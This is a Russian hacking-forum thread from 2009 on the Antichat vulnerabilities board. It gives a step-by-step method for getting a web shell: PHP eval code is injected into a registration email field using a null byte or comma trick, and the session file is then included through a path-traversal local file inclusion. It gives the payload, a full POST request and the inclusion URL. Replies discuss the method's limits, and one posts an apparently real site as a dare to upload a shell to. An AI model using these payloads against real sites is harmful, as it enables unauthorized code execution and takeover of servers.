ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Инъекция кода в mail()
  #1  
Старый 07.05.2009, 05:03
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
Lightbulb Инъекция кода в mail()

Инъекция кода в mail()

К написанию этой заметки меня подтолкнуло одно из заданий в ROA.
Суть сводится к тому, что в первый аргумент mail() (адресат) можно подставить посторонний php-код, при этом не влияя на успешность отправки.
Данный способ актуален только для сайтов, где необходимо подтверждение регистрации (то есть необходимо указать верный E-mail и в то же время подставить код).
В противном случае задача состоит лишь в обходе фильтрации, что не входит в рамки данной темы.

Для получения шелла необходимо:
1. LFI на уязвимом сайте (с возможность инклуда сессий).
2. В сессию записывается E-mail пользователя (имеется во многих самописных движках).
3. Имеется возможность обхода фильтрации вводимого пользователем E-mail'a либо её полное отсутствие.
4. magic_quotes_gpc = off (в случае присутствия фильтрации, для вставки нуллбайта).


При соблюдении этих условий для получения шелла необходимо (возможны различные вариации):
1. Подставить php-код в поле E-mail'a при регистрации.
2. Залогиниться.
3. Проинклудить сессию.



----------------------------------------------------------------------------------

Рассмотрим на примере.

На сайте site.com имеется LFI с возможностью инклуда сессий:
http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}

На страницу выводится нечто подобное:
Код:
user_login|s:N:"{YOUR_LOGIN}";user_mail|s:N:"{YOUR_EMAIL}";user_password|s:32:"{YOUR_HASH}";
Где {YOUR_LOGIN}, {YOUR_EMAIL}, {YOUR_HASH} - данные текущего пользователя.

Вариант с подстановкой php-кода в {YOUR_LOGIN} я рассматривать не буду, так как часто это поле жёстко фильтруется + обрабатывается htmlentities() + ограничено по длине.

Рассмотрим вариант с E-mail.
Часто в скриптах используется валидация E-mail при помощи бинарно-небезопасной функции ereg_*, поэтому нужно добавить нуллбайт %00 (функция воспримет его как конец строки и прекратит её обработку):
Код:
your_mail@mail.ru%00<?=eval($_GET[c])?>
Поле адресата передаётся Sendmail'у в сыром виде и без валидации (проверял на локалхосте), а Sendmail в свою очередь, воспринимает нуллбайт как конец строки.
В случае, если введён рабочий E-mail, на него благополучно придёт сообщение.

Примерный запрос регистрации:

Код:
POST /register.php HTTP/1.1
Host: site.com
Content-length: {DATA_LENGTH}
Content-Type: application/x-www-form-urlencoded
Connection: Close

form_login={YOUR_LOGIN}&pass={YOUR_PWD}&form_email=your_mail@mail.ru%00<?=eval($_GET[c])?>&submit=Go
Скрипт должен вернуть сообщение об успешной регистрации и отослать письмо на your_mail@mail.ru.
После подтверждения регистрации и входа на сайт инклудим сессию:

http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}&c=phpinfo();

Шелл получен.

----------------------------------------------------------------------------------
(с) [x26]VOLAND
 
Ответить с цитированием

  #2  
Старый 07.05.2009, 05:11
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию

Код шелла можно указывать через запятую.
Код:
your_mail@mail.ru, <?=eval($_GET[c])?>
Тогда sendmail воспримет эту строку как 2 раличных адреса и попытается послать сообщение на оба. В результате почта придёт только на 1й ящик, а вся строка с шеллом сохранится в базе.

Последний раз редактировалось [x26]VOLAND; 07.05.2009 в 05:14..
 
Ответить с цитированием

  #3  
Старый 07.05.2009, 05:12
Аватар для PaCo
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию

Очень много если должно совпасть, бывают такие ситуации что например include path ограничеваеться веб дирикторией, также возможен вариант что имя сессии не всегда sess_{YOUR_SESSION_ID}(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).

Последний раз редактировалось PaCo; 07.05.2009 в 05:20..
 
Ответить с цитированием

  #4  
Старый 07.05.2009, 05:15
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию

Пхп всегда разрешает обращение к директории с сессиями.
Чтобы узнать её, нужно проинклудить конфиг апача. Но зачастую сессии просто хранятся в /tmp/ ...

Цитата:
(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).
Такие сайты встречаются редко.

У каждого способа есть свои ограничения. Это естественно.

Последний раз редактировалось [x26]VOLAND; 07.05.2009 в 05:22..
 
Ответить с цитированием

  #5  
Старый 07.05.2009, 05:32
Аватар для PaCo
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию

Цитата:
Сообщение от [x26]VOLAND  
Пхп всегда разрешает
Согласен разрешает, но я про include_path где может быть прописано жестка веб дира и все, возможно это было связано с doc_root, такие мысли насчет инклюдов в файлах сессии ко мне приходили давно но именно на практике при попытке проинклюдить файл сессии вылазила ошибка, хотя fread прекрасно читала файл сессии.
 
Ответить с цитированием

  #6  
Старый 07.05.2009, 05:39
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

PaCo, open_basedir в 99% случаев разрешает инклуд из /tmp, ну или из папки где хранятся сессии
 
Ответить с цитированием

  #7  
Старый 07.05.2009, 14:42
Аватар для InFlame
InFlame
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
Провел на форуме:
810079

Репутация: 90
По умолчанию

SESSION_ID брать из куков, я правильно понимаю?
 
Ответить с цитированием

  #8  
Старый 07.05.2009, 14:46
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию

Либо из куков, либо из url. Зависит от настройки пхп.
 
Ответить с цитированием

  #9  
Старый 08.05.2009, 16:43
Аватар для pampom
pampom
Познающий
Регистрация: 23.04.2008
Сообщений: 63
Провел на форуме:
176079

Репутация: 13
По умолчанию

[x26]VOLAND

Внимательно перечитал твою тему, сначало подумал что речь пойдет о mail в perl когда еще в 2000 году был баг с произвольным исполнением команд, но крайне удивился когда ты описал еще более древнюю тему, слегка не понял зачем исползывать именно mail() функцию когда речь идет о сессиях вообщем.

И вообще в моем понимании если есть локальный инклуд то это 100% шелл, но раз уж речь пошла о сессиях то в них передаеться не только имя пользователя пароль маил но дофига другой инфы, короче говоря мы просто можем отснифать весь трафик и подделать запрос с именем пользователя это как правило не прокатит, а вот например с текущем языком или текущей страницей на которой находиться пользователей то это оч просто... особенно это канает в движках на ajax.

[ cash ] (c) Hack-Shop.Org.Ru
 
Ответить с цитированием

  #10  
Старый 08.05.2009, 18:00
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
И вообще в моем понимании если есть локальный инклуд то это 100% шелл
На тебе ссылку, залей сюда шелл, а я посмотрю

Код:
http://wow.alania.net/index.php?page=1
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Кодерские tips and tricks TaNkist С/С++, C#, Delphi, .NET, Asm 57 21.03.2009 14:25
Секреты Gsm КероСиН Сотовый фрикинг 17 30.08.2007 21:01
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
Внедрение Sql кода с завязанными глазами, часть 2 k00p3r Чужие Статьи 0 12.06.2005 20:45



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ